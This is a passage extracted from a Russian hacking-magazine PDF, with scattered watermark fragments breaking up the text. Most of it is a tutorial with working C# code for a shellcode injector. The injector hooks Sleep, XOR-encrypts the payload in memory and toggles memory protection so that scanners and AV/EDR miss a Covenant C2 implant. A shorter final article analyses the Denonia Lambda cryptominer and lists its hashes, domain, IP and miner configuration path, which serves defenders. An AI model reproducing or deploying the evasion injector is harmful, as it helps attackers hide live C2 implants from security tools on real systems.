(Shellcode

Refective DLL

Injection) —

 

логическое­

продол­ жение­

техник­

RDI и Improved

 

RDI, позволя­

ющее­

генерировать­

позиционно­

 

независимый­

шелл код из библиоте­

ки­ DLL:

 

•sRDI — Shellcode Refective DLL Injection —

 

 

NetSPI

 

 

 

 

 

 

 

 

 

•monoxgas/sRDI:

 

Shellcode

implementation

 

 

of

Refective

DLL

Injection.

Convert DLLs

to position independent shellcode

Для этого­ понадобит­ ся­ код самой DLL:

// dllSleep.cpp

#include "pch.h"

BOOL APIENTRY DllMain( HMODULE hModule,

DWORD ul_reason_for_call,

LPVOID lpReserved

)

{

switch (ul_reason_for_call)

{

case DLL_PROCESS_ATTACH:

while (TRUE) { Sleep(5000); }

case DLL_THREAD_ATTACH:

case DLL_THREAD_DETACH:

case DLL_PROCESS_DETACH:

break;

}

return TRUE;

}

И генера­ ­тор шелл кода из DLL:

0

PS > curl https://github.com/monoxgas/sRDI/raw/master/Python/ShellcodeRDI.py -o ShellcodeRDI.py0

PS > curl https://github.com/monoxgas/sRDI/raw/master/Python/ConvertToShellcode.py -o ConvertToShellcode.py0

PS > python ConvertToShellcode.py -i dllSleep.dll0 Creating Shellcode: dllSleep.bin

0

Шелл код для тестов­ у нас готов. Не переживай­ , как только­ закончим­ с инжектором­ , протес­ тим­ все на боевом C2.

Реализация

Каркас­ инжектора­ есть, дело за малым — наполнить­ методы класса­ FluctuateShellcode смысловой­ нагрузкой­ . Будем идти по нашей «рыбе» снизу­ вверх.

FluctuateShellcode.GenerateXorKey

Здесь все очевид­ ­но — сгенери­ ­руем последова­ ­тель­ность байтов­ , которая будет накладывать­ ­ся на байты­ шелл кода как шифрующая­ гамма­ . Помня­ о несовершенс­ ­тве первой­ версии­ техники­ Obfuscate and Sleep в Cobalt Strike, из за которой присутс­ ­твие бикона можно­ было распознать­ YARA-правилом­ , основыва­ ­ясь на длине­ повторя­ ­юще­гося ключа­ , я реализую­ шифрование­ XOR в режиме одноразо­ ­вого блокнота­ . В этом случае­ размер­ ключа­ равен раз ­ меру шифротек­ ­ста, то есть длине­ шелл кода (благо­ шелл коды обычно­ небольшие­ , поэтому­ «лагов» и «фризов­ » быть не должно­ ).

byte[] GenerateXorKey()

{

Random rnd = new Random();

byte[] xorKey = new byte[shellcodeLength];

rnd.NextBytes(xorKey);

return xorKey;

}

FluctuateShellcode.XorMemory

Пока­ тоже вроде­ нетрудно­ : накладыва­ ­ем шифрующую­ гамму­ на сегмент­ памяти, содержащий­ байты­ шелл кода.

void XorMemory()

{

byte[] data = new byte[shellcodeLength];

Marshal.Copy(shellcodeAddress, data, 0, shellcodeLength);

for (var i = 0; i < data.Length; i++) data[i] ^= xorKey[i];

Marshal.Copy(data, 0, shellcodeAddress, data.Length);

}

FluctuateShellcode.ProtectMemory

В реализации­ этой функции­ выбор остается­ за читателем­ : либо используй­ VirtualProtect из Win32 API с помощью P/Invoke, либо если­ хочешь быть самым крутым­ хакером используй­ D/Invoke и системные­ вызовы, как мы делали это, когда­ модернизиро­ ­вали KeeThief.

Пример­ с P/Invoke:

void ProtectMemory(uint newProtect)

{

if (Win32.VirtualProtect(shellcodeAddress, (uint)shellcodeLength,

newProtect, out _))

Console.WriteLine("(FluctuateShellcode) [DEBUG]

Re-protecting at address " + string.Format("{0:X}", shellcodeAddress.

ToInt64()) + $" to {newProtect}");

else

throw new Exception("(FluctuateShellcode) [-] VirtualProtect"

);

}

Пример­ с D/Invoke:

[UnmanagedFunctionPointer(CallingConvention.StdCall)]

delegate DoItDynamicallyBabe.Native.NTSTATUS NtProtectVirtualMemory(

IntPtr ProcessHandle,

ref IntPtr BaseAddress,

ref IntPtr RegionSize,

uint NewProtect,

ref uint OldProtect);

void ProtectMemory(uint newProtect)

{

IntPtr stub = GetSyscallStub("NtProtectVirtualMemory");

NtProtectVirtualMemory ntProtectVirtualMemory = (

NtProtectVirtualMemory)Marshal.GetDelegateForFunctionPointer(stub,

typeof(NtProtectVirtualMemory));

IntPtr protectAddress = shellcodeAddress;

IntPtr regionSize = (IntPtr)shellcodeLength;

uint oldProtect = 0;

var result = ntProtectVirtualMemory(

Process.GetCurrentProcess().Handle,

ref protectAddress,

ref regionSize,

newProtect,

ref oldProtect);

if (ntstatus == NTSTATUS.Success)

Console.WriteLine("(FluctuateShellcode) [DEBUG]

Re-protecting at address " + string.Format("{0:X}", shellcodeAddress.

ToInt64()) + $" to {newProtect}");

else

throw new Exception($"(FluctuateShellcode) [-]

NtProtectVirtualMemory: {ntstatus}");

}

Продолжение статьи0 →

 

 

 

hang

e

 

 

 

 

 

 

C

 

 

E

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

COVERSTORY

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

w

 

 

c

 

 

 

.c

 

 

.

 

 

 

 

 

 

 

p

 

 

 

 

 

g

 

 

 

 

df

-x

 

n

e

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

←

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

m

 

0НАЧАЛО СТАТЬИw Click

to

BUY

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

c

 

 

 

o

 

 

 

.

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-x ha

 

 

 

 

ПИШЕМ ИНЖЕКТОР ДЛЯ ДИНАМИЧЕСКОГО ШИФРОВАНИЯ ПОЛЕЗНОЙ НАГРУЗКИ В ПАМЯТИ

FluctuateShellcode.DisableHook

Функция­ снятия­ хука — то есть перезапись­ трампли­ на­ содержимым­ ори ­ гинального­ Sleep, которое мы бережно­ храним­ в поле sleepOriginBytes. И снова­ можно­ использовать­ P/Invoke или более модный­ D/Invoke для работы с API.

public bool DisableHook()

{

bool unhooked = false;

if (Win32.VirtualProtect(

sleepOriginAddress,

(uint)sleepOriginBytes.Length,

0x40, // 0x40 = PAGE_EXECUTE_READWRITE

out uint oldProtect))

{

Marshal.Copy(sleepOriginBytes, 0, sleepOriginAddress,

sleepOriginBytes.Length);

unhooked = true;

}

bool flushed = false;

if (Win32.FlushInstructionCache(

Process.GetCurrentProcess().Handle,

sleepOriginAddress,

(uint)sleepOriginBytes.Length))

{

flushed = true;

}

Win32.VirtualProtect(

sleepOriginAddress,

(uint)sleepOriginBytes.Length,

oldProtect,

out _);

return unhooked && flushed;

}

Если­ мы изменяем­ код, уже загружен­ ­ный

впамять, Microsoft говорит, что мы должны­ использовать­ функцию­ FlushInstructionCache, —

впротив­ ном­ случае­ кеш ЦП может помешать ОС увидеть­ изменения­ .

FluctuateShellcode.EnableHook

То же самое, что и DisableHook, только­ в этот раз мы перезаписы­ ­ваем исходный Sleep трампли­ ­ном:

public bool EnableHook()

{

bool hooked = false;

if (Win32.VirtualProtect(

sleepOriginAddress,

(uint)trampoline.Length,

0x40, // 0x40 = PAGE_EXECUTE_READWRITE

out uint oldProtect))

{

Marshal.Copy(trampoline, 0, sleepOriginAddress, trampoline.

Length);

hooked = true;

}

bool flushed = false;

if (Win32.FlushInstructionCache(

Process.GetCurrentProcess().Handle,

sleepOriginAddress,

(uint)trampoline.Length))

{

flushed = true;

}

Win32.VirtualProtect(

sleepOriginAddress,

(uint)trampoline.Length,

oldProtect,

out _);

return hooked && flushed;

}

FluctuateShellcode.SleepDetour

Сердце­ нашей флуктуации­ — изменен­ ­ная функция­ Sleep, которая будет перехватывать­ управление­ в момент «засыпания­ » агента­ . По содержимому­ тела функции­ понятно­ , что она делает­ .

void SleepDetour(uint dwMilliseconds)

{

DisableHook();

ProtectMemory(0x04); // 0x04 = PAGE_READWRITE

XorMemory();

sleepOrig(dwMilliseconds);

XorMemory();

ProtectMemory(0x20); // 0x20 = PAGE_EXECUTE_READ

EnableHook();

}

Конструктор и деструктор

Так как мы решили пользовать­ ся­ преиму­ щес­ тва­ ми­ ООП в C#, в конструк­ торе­

мы реализуем­ вычисление­ необходимых­ адресов­ и содержимого­ , находя ­ щегося­ по этим адресам­ :

public FluctuateShellcode(IntPtr shellcodeAddr, int shellcodeLen)

{

// Получаем адрес оригинальной функции Sleep

sleepOriginAddress = Win32.GetProcAddress(Win32.LoadLibrary(

"kernel32.dll"), "Sleep");

//Инициализируем делегат для возможности обращаться к этой функции по ее адресу

sleepOrig = (Sleep)Marshal.GetDelegateForFunctionPointer( sleepOriginAddress, typeof(Sleep));

//Бэкапим первые 16 байт оригинальной функции Sleep Marshal.Copy(sleepOriginAddress, sleepOriginBytes, 0, 16);

//Получаем адрес метода SleepDetour, которым будет пропатчен шаблон трамплина

var sleepDetour = new Sleep(SleepDetour); sleepDetourAddress = Marshal.GetFunctionPointerForDelegate(

sleepDetour);

gchSleepDetour = GCHandle.Alloc(sleepDetour);

using (var ms = new MemoryStream())

using (var bw = new BinaryWriter(ms))

{

// Составляем little-endian-адрес sleepDetourAddress в виде

байтового массива

bw.Write((ulong)sleepDetourAddress);

sleepDetourBytes = ms.ToArray();

}

// Патчим этим адресом шаблон трамплина

for (var i = 0; i < sleepDetourBytes.Length; i++)

trampoline[i + 2] = sleepDetourBytes[i];

// Инициализируем другие оставшиеся поля класса

FluctuateShellcode, к которым должны иметь доступ его методы

shellcodeAddress = shellcodeAddr;

shellcodeLength = shellcodeLen;

xorKey = GenerateXorKey();

}

Важный­ момент, на котором стоит­ остановить­ ся­ отдельно­ : так как мы работа ­ ем с управля­ емой­ средой­ .NET, адрес метода SleepDetour будет недос ­ тупен для неуправля­ емо­ го­ кода, если только­ мы явно не попросим­ его таковым быть. Здесь на помощь приходит­ хендл GCHandle, дающий способ­ получить доступ­ к управляемо­ му­ объекту­ из неуправля­ емой­ памяти (подсмот­ ­ рел в этом ответе­ на Stack Overfow).

Метод­ GCHandle.Alloc запреща­ ет­ сборщику­ мусора трогать­ адрес делегат sleepDetourAddress, тем самым «фиксируя­ » его на все вре ­ мя работы инжектора­ . Чтобы­ отпустить удерживание­ адреса­ , мы используем­ деструк­ тор­ :

~FluctuateShellcode()

{

if (gchSleepDetour.IsAllocated)

gchSleepDetour.Free();

DisableHook();

}

Тестирование

Время­ лаборатор­ ных­ испытаний­ . Чтобы­ успеть увидеть­ флипы­ и шифрование­ памяти в Process Hacker, я добавлю­ инструк­ цию­ Thread.Sleep(5000) в начало функции­ SleepDetour. Скомпилиру­ ем­ проект­ (обязатель­ но­ в x64) и запустим­ .

Сперва­ смотрим­ на содержимое­ области памяти с шелл кодом, которое шифрует­ ­ся при каждом­ вызове Sleep.

Обфуска­ ция­ области памяти с шелл кодом

Еще одно демо, на котором видна­ перезапись­ памяти kernel32.dll: трамплин­ сменяет­ ся­ оригиналь­ ным­ содержимым­ и наоборот­ .

Установ­ ка­ и снятие­ хука Sleep

Тесты­ в контро­ лиру­ емой­ среде­ пройдены­ , время­ для полевых испытаний­ !

ИСПОЛЬЗОВАНИЕ С АГЕНТОМ C2

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Для демонстра­ ции­

работы инжектора­ с реальным­

C2 сперва­ нужно­ опре ­

делиться­ с фреймвор­

ком­ , который мы будем использовать­

.

Показывать­

работу флуктуато­

ра­ с Cobalt Strike бессмыс­

ленно­

(хотя с ней он тоже работа ­

ет), ведь изначаль­

ной­

целью было научиться­ встраивать­

обсуждаемую­

тех ­

нику в open source проекты­

, да и sleep_mask в свежих­

версиях­

«Кобы»

работает­ как надо.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Итак, какой же C2 нам выбрать­

? Агент Meterpreter полностью­

интерак­ ­

тивный и не использует­

Sleep (править­

сорцы­ Meterpreter — увольте­ , нет),

PoshC2 не имеет­ stageless-имплантов­ , и его код частично­

закрыт­ , а в Sliver

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

генерирует­

 

слишком­

большой­

шелл код из за

 

особен­ ностей­

языка­ ,

на котором он написан (это Go, ага).

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Мой выбор пал на Covenant, для которого­ @ShitSecure недавно­ показал­

,

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

как создавать­

stageless-импланты­ . Отличный кандидат­

, как по мне!

 

 

 

 

 

 

 

Я загружу­

 

код кастомно­

го­ stageless-импланта­ и изменю­ в нем задержки­

 

 

 

 

через Thread.Sleep, на полноцен­

 

вызов Sleep

(Delays), реализован­

ные­

ный­

из kernel32.dll.

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Thread.Sleep → kernel32!Sleep

Вот такой патч у меня получился­ , если кто то захочет повторить­ :

14a15

> using System.Runtime.InteropServices;

277a279,281

>

[DllImport("kernel32.dll")]

>

static extern void Sleep(int dwMilliseconds);

>

 

354c358

 

<

Thread.Sleep((Delay + change) * 1000);

---

 

>

Sleep((Delay + change) * 1000);

430c434

 

<

Thread.Sleep(3000);

---

 

>

Sleep(3000);

Далее­ я залогинюсь­ в Covenant и создам­ новый темплейт­ .

Добав­ ление­ stageless-агента­ в Covenant

Теперь­ создаем­ новые Listener и Launcher в формате­ шелл кода на основе­ добавленно­ го­ темплей­ та­ .

Генера­ ­ция шелл кода в Covenant

Остает­ ­ся заменить sleepDll.bin путем до нового шелл кода, и можно­ запускать­ инжектор!

You’ve poped a (fuctuating) shell!

Если­ просканиро­ вать­ область памяти, содержащей­ шелл код, с помощью Moneta, можно­ видеть, что мы избавились­ от одного­ из самых показатель­ ных­ индикато­ ров­ заражения­ — исполняемой­ приват­ ной­ памяти.

Никако­ го­ Abnormal private executable memory

И разумеется­ , я не мог не портировать­ созданный­ код на D/Invoke и не вклю ­ чить его в свой инжектор, который зачастую­ использую­ на проектах­ .

Демо­

БОНУС. РЕАЛИЗАЦИЯ API HOOKING С ПОМОЩЬЮ MINIHOOK.NET

В качестве­ бонуса оставлю здесь реализацию­ класса­ флуктуато­ ­ра, которая использует­ MiniHook.NET. Можешь сам оценить­ , сильно­ ли уменьшил­ ­ся объ ­ ем кода.

class FluctuateShellcodeMiniHook

{

// using MinHook; // https://github.com/CCob/MinHook.NET

delegate void Sleep(uint dwMilliseconds);

readonly Sleep sleepOrig;

readonly HookEngine hookEngine;

readonly uint fluctuateWith;

readonly IntPtr shellcodeAddress;

readonly int shellcodeLength;

readonly byte[] xorKey;

public FluctuateShellcodeMiniHook(uint fluctuate, IntPtr

shellcodeAddr, int shellcodeLen)

{

hookEngine = new HookEngine();

sleepOrig = hookEngine.CreateHook("kernel32.dll", "Sleep",

new Sleep(SleepDetour));

fluctuateWith = fluctuate;

shellcodeAddress = shellcodeAddr;

shellcodeLength = shellcodeLen;

xorKey = GenerateXorKey();

}

~FluctuateShellcodeMiniHook()

{

hookEngine.DisableHooks();

}

public void EnableHook()

{

hookEngine.EnableHooks();

}

public void DisableHook()

{

hookEngine.DisableHooks();

}

void SleepDetour(uint dwMilliseconds)

{

ProtectMemory(fluctuateWith);

XorMemory();

sleepOrig(dwMilliseconds);

XorMemory();

ProtectMemory(DI.Data.Win32.WinNT.PAGE_EXECUTE_READ);

}

void ProtectMemory(uint newProtect)

{

if (Win32.VirtualProtect(shellcodeAddress, (uint)

shellcodeLength, newProtect, out _))

Console.WriteLine("(FluctuateShellcodeMiniHook) [DEBUG]

Re-protecting at address " + string.Format("{0:X}", shellcodeAddress.

ToInt64()) + $" to {newProtect}");

else

throw new Exception("(FluctuateShellcodeMiniHook) [-]

VirtualProtect");

}

void XorMemory()

{

byte[] data = new byte[shellcodeLength];

Marshal.Copy(shellcodeAddress, data, 0, shellcodeLength);

for (var i = 0; i < data.Length; i++) data[i] ^= xorKey[i];

Marshal.Copy(data, 0, shellcodeAddress, data.Length);

}

byte[] GenerateXorKey()

{

Random rnd = new Random();

byte[] xorKey = new byte[shellcodeLength];

rnd.NextBytes(xorKey);

return xorKey;

}

}

ВЫВОДЫ

Мы разобрали­ базовые основы­ техники­ Inline API Hooking и портирова­ ли­ инжектор флуктуирующе­ го­ шелл кода на C# для обхода­ сигнатур­ ного­ ска ­ нирования­ памяти.

Замечу­ , что разобранный­ код все еще остается­ «доказатель­ ­ством кон ­ цепции» и не стоит­ ожидать­ от него волшебных­ возможнос­ ­тей обхода­ зрелых­ AV и EDR прямо­ «из коробки­ » (все же мы использовали­ наиболее­ банальную­ технику­ инжекта). Можешь обратить­ внимание­ на более продвинутые­ техники­ инжекта шелл кода, как, например­ , Module Stomping или ThreadStackSpoofer,

икомбиниро­ ­вать их с техникой­ флуктуирующе­ ­го шелл кода.

Взавершение­ — минутка­ саморекламы­ (да простит­ меня главред­ ). Недав ­

но я завел канал­ в Telegram с репостами­ новостей­ из твиттера­ на тему нас ­ тупательной­ безопасности­ , так что милости­ просим­ .

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

 

E

 

 

 

 

X

 

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

wClick

 

BUY

o m

ВЗЛОМ

 

to

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

.c

 

 

.

 

 

 

 

 

g

 

 

p

 

 

c

 

 

 

 

 

 

 

df

-x

 

n

 

 

 

 

 

 

 

ha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

 

w Click

 

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

g

.c

 

 

 

p

 

 

c

 

 

 

 

 

 

 

df

 

n

e

 

 

 

 

 

-x ha

 

 

 

 

 

КАК РАБОТАЕТ ПЕРВЫЙ ВРЕДОНОС, НАЦЕЛЕННЫЙ НА AWS LAMBDA

Сегод­ ­няшняя статья затрагива­ ­ет малоизу­ ­ ченную­ тему — разработ­ ­ку вредонос­ ­ного ПО на языке­ Go. Обычно­ он использует­ ­ся для системно­ ­го программи­ ­рова­ния. Одна ­ ко мы поговорим­ о вирусе, нацеленном­ на облачные инфраструктуры­ , которые позициони­ ­руют­ся как «бессервер­ ­ные». Их популярность­ растет­ , и, конечно­ же, хакеры ищут подходы­ к их эксплу­ ­ата­ции.

Олег Сивченко adrelian@gmail.com

«Бессервер­ ный­ » — это не более чем фигура речи. У систем­ вроде­ AWS Lambda есть серверная­ часть, и она работает­ на Linux. Однако­ разработ­ чиков­

это в теории не касается­ . Для них примене­ ние­ Lambda экономит­ время­ , пос ­ кольку­ поддер­ жка­ системы­ ложится­ на Amazon. В теории остается­ только­ писать код и не задумывать­ ся­ ни о чем. Впрочем­ , думать о безопасности­ все же придет­ ся­ .

Эфемер­ ­ность и динамичность­ , присущие­ лямбда­ функци­ ­ям, могут осложнить обнаруже­ ­ние и митигацию­ угроз. Помочь с этим призваны­ решения вроде­ тех, что предос­ ­тавля­ет Cado Labs. Последнее­ исследова­ ­ние этой компании­ мы с тобой сегодня­ изучим­ .

Итак, в Cado Labs обнаружи­ ли­ вредонос­ , атакующий­ аккаунты­ AWS Lambda. Он получил имя Denonia — по названию­ того домена, с которым обменива­ ется­ информацией­ . Вредонос­ использует­ новейшие­ приемы­ раз ­ решения адресов­ для взаимо­ дей­ ствия­ с C2, что позволя­ ет­ ему ускользать­

от типичных­ механизмов­ обнаруже­ ­ния.

Denonia в целом безобиден­ — он всего­ навсего­ гоняет­ программу­

для майнин­ ­га криптовалю­ ­ты. Распростра­ ­нен он пока, по данным­ Cado Labs, тоже не слишком­ широко. Однако­ Denonia демонстри­ ­рует потенциал­ эксплу­ ­ атации­ окружений­ Lambda, результат­ которой может оказать­ ­ся и более гнус ­ ным.

ТЕХНИЧЕСКИЙ АНАЛИЗ

Впервые­ образец­ Denonia был найден­ на ресурсе­ с таким хешем SHA-256: a31ae5b7968056d8d99b1b720a66a9a1aeee3637b97050d95d96ef3a265cbb

ca

Хотя­ в имени­ файла­ присутс­ ­тву­ет python, на самом деле этот вредонос­ написан на Go и, по видимому­ , содержит­ кастомизи­ ­рован­ный вариант­ май ­ нингового­ софта­ XMRig, а также­ обладает­ другими­ невыясненны­ ­ми функци­ ­ ями. Вот что показало­ более тщатель­ ­ное исследова­ ­ние.

Во время­ динамичес­ ­кого анализа­ вредонос­ быстро­ прекратил­ выполнять­ ­ ся и выдал в лог следующую­ ошибку­ .

Такие­ переменные­ окружений­ специфич­ ны­ для «лямбд» — поэтому­ отчасти позволя­ ют­ судить о показателях­ той среды­ , для выполнения­ в которой пред ­ назначен­ этот вирус. Дальнейший­ анализ­ бинарника­ выявил, что это 64-раз ­ рядный исполняемый­ файл ELF для архитек­ туры­ x86-64. Вредонос­ также­ использует­ ряд сторон­ них­ библиотек­ , среди­ которых есть и AWS Lambda for Go. Она предназна­ чена­ для выполнения­ в окружени­ ях­ AWS Lambda.

ВРЕДОНОСЫ НА GO

Вредонос­ ное­ ПО, написанное­ на языке­ Go, стремитель­ но­ набира­ ет­ популяр ­ ность. Этот язык привлека­ ет­ разработ­ чиков­ вредоно­ сов­ сразу­ по несколь­ ким­ причинам­ — в том числе­ потому, что на нем чрезвычай­ но­ просто­ писать кросс платформен­ ные­ исполняемые­ файлы­ . К тому же программы­ на Go ста ­ тически­ слинкованы­ , что облегчает­ деплой­ .

Вирус­ ­ным аналити­ ­кам, столкнув­ ­шимся с малварью­ на Go, нужно­ знать о некоторых­ особен­ ­ностях. Из за статичес­ ­кой связан­ ­ности бинарники­ получаются­ большими­ , что затрудня­ ­ет статичес­ ­кий анализ­ . Кроме­ того, Go своеоб­ ­разно обращает­ ­ся со строками­ . Они не завершают­ ­ся нулем — в отли ­ чие от того, как принято­ в С образных языках­ . Строки­ здесь представ­ ­ляют собой большой­ блоб и структуру­ с указате­ ­лем на строку­ в блобе­ и целым чис ­ лом, которое означает­ длину­ строки­ . Это может запутать некоторые­ инстру­ ­ менты­ статичес­ ­кого анализа­ .

АНАЛИЗ ЛЯМБДА-ВРЕДОНОСОВ

У анализа­ бинарника­ , предназна­ чен­ ного­ для запуска­ на AWS Lambda, тоже есть ряд особен­ ностей­ .

Denonia явно спроекти­ ­рова­на для выполнения­ в лямбда­ окружени­ ­ях, но мы пока не знаем­ , как именно­ она разверты­ ­вает­ся. Возможно­ , от нее все ­ го то и требует­ ­ся скомпро­ ­мети­ровать доступ­ к AWS и секретные­ ключи­ , после­ чего злоумыш­ ­ленник вручную­ развернет­ ее в скомпро­ ­мети­рован­ном лям ­ бда окружении­ , как уже делали с более простыми­ скриптами­ на Python.

Инстру­ мент­ redress позволил­ выявить некоторые­ интерес­ ные­ сторон­ ние­ библиоте­ ки­ Go, встраиваемые­ этим вредоно­ сом­ . По ним можно­ частично­ вывести­ , как именно­ он функци­ они­ рует­ :

•lambda — библиоте­ ­ки, образцы и инстру­ ­мен­ты для написания­ лям ­ бда функций­ на Go;

•lambdacontext — вспомога­ ­тель­ные функции­ для извлечения­ контекс­ ­тной информации­ из запроса­ , активиру­ ­юще­го лямбда­ функцию­ ;

•aws — общий инстру­ ­мен­тарий AWS SDK для языка­ Go;

•doh-go — клиент­ DNS over HTTPS на Go, поддержи­ ­вает такие провай­ ­деры,

как Quad9, Cloudfare и прочие­ .

Ниже­ приведен­ фрагмент­ обработ­ чика­ лямбда­ функций­ — он ожидает­ , что будут установ­ лены­ определен­ ные­ данные­ .

Несмотря­ на его наличие, динамичес­ ­кий анализ­ показывает­ , что этот образец­ с тем же успехом­ продол­ ­жает выполнять­ ­ся и вне лямбда­ окружения­ (нап ­

ример, на самой обычной­ машине Amazon Linux). Предположи­ ­тель­но дело в том, что «бессервер­ ­ные» лямбда­ окружения­ под капотом все равно­ исполь ­ зуют Linux, так что вредонос­ просто­ считает­ , что он внутри­ лямбда­ окружения­ , хотя на самом деле его гоняли в песочнице­ . Для этого­ достаточ­ ­но вручную­ установить­ нужные­ переменные­ окружения­ .

DNS ПО HTTPS

Как правило­ , при запросе­ доменного­ имени­ , например­ google.com, отправ ­ ляется­ незашифрован­ ный­ DNS-запрос­ , позволя­ ющий­ найти­ тот IP-адрес, в который разреша­ ется­ домен, — и тогда­ твоя машина подклю­ чает­ ся­ к этому­ домену. Сравнитель­ но­ новая замена для обычного­ DNS — это DNS по HTTPS (DoH). DoH шифрует­ запросы­ DNS и рассыла­ ет­ их службам­ разрешения­ DoH как обычный­ трафик­ HTTPS.

Прибег­ ­нуть к DoH, прямо­ скажем­ , экзотичес­ ­кий ход для авторов­ Denonia, но в данном­ случае­ он обеспечива­ ­ет два преиму­ ­щес­тва:

•AWS не сможет­ увидеть­ , что по DNS ищется­ вредонос­ ­ный домен, — поэто ­ му снижает­ ­ся вероятность­ , что в системе­ сработа­ ­ет тревога­ и вирус попытаются­ обнаружить­ ;

•в некоторых­ лямбда­ окружени­ ­ях может не быть возможнос­ ­ти выполнять­ поиск по DNS (зависит от настро­ ­ек VPC).

Видно­ , как вредонос­ при отправке­ этих запросов­ полагается­ на библиоте­ ­ку doh-go и по каким именно­ урлам это делается­ , например­ :

•https://cloudfare-dns.com/dns-query?name=gw.denonia.xyz&type=A

•https://dns.google.com/resolve?name=gw.denonia.xyz&type=A

HTTPS-запрос­ на сервер­ Google DoH

А DoH-сервер­ (в данном­ случае­ Google) выдает­ в ответ IP-адрес домена, который разреша­ ется­ в JSON.

ЗАПИСЬ В /TMP/.XMRIG.JSON ДЛЯ XMRIG

Домен­ gw.denonia[.]xyz, контро­ лиру­ емый­ злоумыш­ ленни­ ком­ , разреша­ ется­ в 116.203.4[.]0 — и этот адрес затем записывает­ ся­ в конфиг­ для майнера­

XMRig по адресу­ /tmp/.xmrig.json.

Обрати­ внимание­ : в AWS Lambda можно­ записывать­ только­ в один каталог, а именно­ в /tmp. Бинарник­ также­ устанав­ лива­ ет­ в качестве­ домашнего­ каталога­ именно­ /tmp, это делается­ при помощи команды­ HOME=/tmp. Сам XMRig выполняет­ ся­ из памяти.

КОММУНИКАЦИЯ С СЕРВЕРОМ MONERO ПО АДРЕСУ 116.203.4[.]0

Затем­ Denonia запускает­ XMRig из памяти и обменива­ ется­ информацией­

с майнин­ ­говым пулом, которым уже завладел­ злоумыш­ ­ленник, по адресу­ 116. 203.4[.]0:3333.

В ответ получаем­ состояние­ майнин­ гового­ задания.

По мере выполнения­ XMRig пишет в консоль­ .

ВЫВОДЫ

Итак, на примере­ Denonia мы посмотре­ ли­ , как обращать­ ся­ с вредоно­ сами­ , написанными­ на Go, а также­ нацеленными­ на исполнение­ в лямбда­ окру ­ жениях­ .

Интерес­ ­но, что это не единствен­ ­ный обнаружен­ ­ный образец­ Denonia. Рас ­ смотренный­ образец­ датируется­ концом­ февраля­ 2022 года, но с того момента­ был найден­ и второй­ , загружен­ ­ный на VirusTotal в январе­ :

739fe13697bc55870ceb35003c4ee01a335f9c1f6549acb6472c5c3078417eed

Подробнее­ о защите окружений­ AWS Lambda ты можешь почитать в науч ­ ной статье сотрудни­ ков­ AWS (PDF).

Соседние файлы в папке журнал хакер